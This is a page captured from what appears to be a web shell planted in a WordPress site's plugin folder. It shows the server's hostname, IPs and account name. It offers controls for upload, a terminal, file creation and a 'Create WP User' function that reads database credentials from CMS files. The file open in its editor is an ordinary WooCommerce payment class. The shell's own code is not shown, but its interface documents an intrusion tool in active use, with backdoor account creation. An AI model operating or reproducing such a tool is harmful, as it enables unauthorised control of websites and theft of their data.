Linux webm017.cluster130.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid x86_64
PHP/7.4.33
服务器IP :
10.130.20.17
& 您的IP :
216.73.217.47
域名 :
无法读取 [ /etc/named.conf ]
用户 :
koaigpw
上传
终端
新建文件
新建文件夹
Create WP User
登出
+
/
home
/
koaigpw
/
budomat.net.pl
/
wp-content
/
plugins
/
woocommerce
/
src
/
StoreApi
/
Payments
/
[ 返回根目录 ]
名称
大小
权限
修改时间
操作
..
-
-
-
PaymentContext.php
1.81 KB
-rw-r--r--
2026-03-03 00:17
PaymentResult.php
1.96 KB
-rw-r--r--
2026-03-03 00:17
>_
终端
关闭 ✕
输入 'help' 查看可用命令。
koaigpw@
>
新建文件
文件名
取消
创建
重命名
新名称
取消
重命名
Create WordPress User
Auto (baca dari file CMS)
Manual (isi kredensial DB)
代码编辑器 :
PaymentResult.php
<?php namespace Automattic\WooCommerce\StoreApi\Payments; /** * PaymentResult class. */ class PaymentResult { /** * List of valid payment statuses. * * @var array */ protected $valid_statuses = [ 'success', 'failure', 'pending', 'error' ]; /** * Current payment status. * * @var string */ protected $status = ''; /** * Array of details about the payment. * * @var string */ protected $payment_details = []; /** * Redirect URL for checkout. * * @var string */ protected $redirect_url = ''; /** * Constructor. * * @param string $status Sets the payment status for the result. */ public function __construct( $status = '' ) { if ( $status ) { $this->set_status( $status ); } } /** * Magic getter for protected properties. * * @param string $name Property name. */ public function __get( $name ) { if ( in_array( $name, [ 'status', 'payment_details', 'redirect_url' ], true ) ) { return $this->$name; } return null; } /** * Set payment status. * * @throws \Exception When an invalid status is provided. * * @param string $payment_status Status to set. */ public function set_status( $payment_status ) { if ( ! in_array( $payment_status, $this->valid_statuses, true ) ) { throw new \Exception( sprintf( 'Invalid payment status %s. Use one of %s', $payment_status, implode( ', ', $this->valid_statuses ) ) ); } $this->status = $payment_status; } /** * Set payment details. * * @param array $payment_details Array of key value pairs of data. */ public function set_payment_details( $payment_details = [] ) { $this->payment_details = []; foreach ( $payment_details as $key => $value ) { $this->payment_details[ (string) $key ] = (string) $value; } } /** * Set redirect URL. * * @param array $redirect_url URL to redirect the customer to after checkout. */ public function set_redirect_url( $redirect_url = [] ) { $this->redirect_url = esc_url_raw( $redirect_url ); } }
关闭
保存